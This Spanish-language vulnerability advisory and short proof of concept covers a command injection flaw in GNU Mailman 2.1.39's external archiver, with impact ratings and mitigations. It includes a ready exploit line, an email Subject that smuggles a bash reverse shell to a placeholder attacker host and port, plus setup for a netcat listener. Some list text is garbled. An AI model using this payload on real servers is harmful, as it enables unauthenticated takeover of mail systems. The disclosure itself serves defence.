
PoC y write-up técnico para CVE-2025-43920, una inyección remota de comandos en el archivador externo de GNU Mailman 2.1.39 que permite la ejecución de código no autenticada mediante asuntos de correo manipulados.
Descubierto por: Firudin Davudzada y Musazada Aydan
Fecha de Divulgación: Abril de 2025
CVE ID: CVE-2025-43920
Severidad: 5.4 Medio (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:L/I:L/A:N)
Tipo de Ataque: Remoto
Software Afectado: GNU Mailman 2.1.39 (incluido con cPanel/WHM)
GNU Mailman 2.1.39, tal como se incluye con cPanel y WHM, es vulnerable a una falla crítica de inyección de comandos que permite a atacantes no autenticados ejecutar comandos arbitrarios del sistema operativo. La vulnerabilidad ocurre cuando un archivador externo está configurado usando PUBLIC_EXTERNAL_ARCHIVER o PRIVATE_EXTERNAL_ARCHIVER en el archivo de configuración mm_cfg.py, y la línea de asunto del correo electrónico contiene metacaracteres de shell que no se sanitizan adecuadamente. Esto puede llevar a un compromiso total del sistema, permitiendo a los atacantes establecer shells inversas, exfiltrar datos o realizar otras acciones maliciosas.
PUBLIC_EXTERNAL_ARCHIVER, PRIVATE_EXTERNAL_ARCHIVER)Mailman/Handlers/ (lógica de procesamiento del asunto del correo electrónico, potencialmente incluyendo archivos como CookHeaders.py);, &, |).Para explotar esta vulnerabilidad, un atacante puede enviar un correo electrónico a una lista gestionada por Mailman con una línea de asunto maliciosa, como:
Subject: ;bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1
Requisitos previos:
PUBLIC_EXTERNAL_ARCHIVER o PRIVATE_EXTERNAL_ARCHIVER.netcat) en ATTACKERIP:4444 para recibir la shell inversa.Resultado Esperado: Si el comando del archivador externo no sanitiza la línea de asunto, el comando malicioso se ejecuta en el servidor, estableciendo una shell inversa al servidor del atacante.
| Aspecto | Severidad |
|---|---|
| Ejecución de Código | Alta (ejecución arbitraria de comandos del SO). |
| Escalada de Privilegios | Alta (posible acceso root dependiendo de los privilegios de ejecución de Mailman). |
| Divulgación de Información | Alta (la salida del comando puede revelar datos del sistema). |
| Denegación de Servicio | Alta (los comandos maliciosos pueden bloquear o sobrecargar el servidor). |
Deshabilitar Archivos Externos: Establezca PUBLIC_EXTERNAL_ARCHIVER y PRIVATE_EXTERNAL_ARCHIVER como None en mm_cfg.py para deshabilitar la funcionalidad de archivador externo:
PUBLIC_EXTERNAL_ARCHIVER = None
PRIVATE_EXTERNAL_ARCHIVER = None
Sanitizar Entradas: Si se requiere un archivador externo, asegúrese de que el comando sanitice la línea de asunto para evitar la inyección de metacaracteres de shell.
Restringir Suscripciones: Limite las suscripciones a listas de correo a usuarios de confianza para reducir la exposición.
Firudin Davudzada y Musazada Aydan divulgaron responsablemente esta vulnerabilidad durante un compromiso de pruebas de penetración autorizado. Gracias al equipo MITRE CVE por la coordinación.
Email: [email protected]\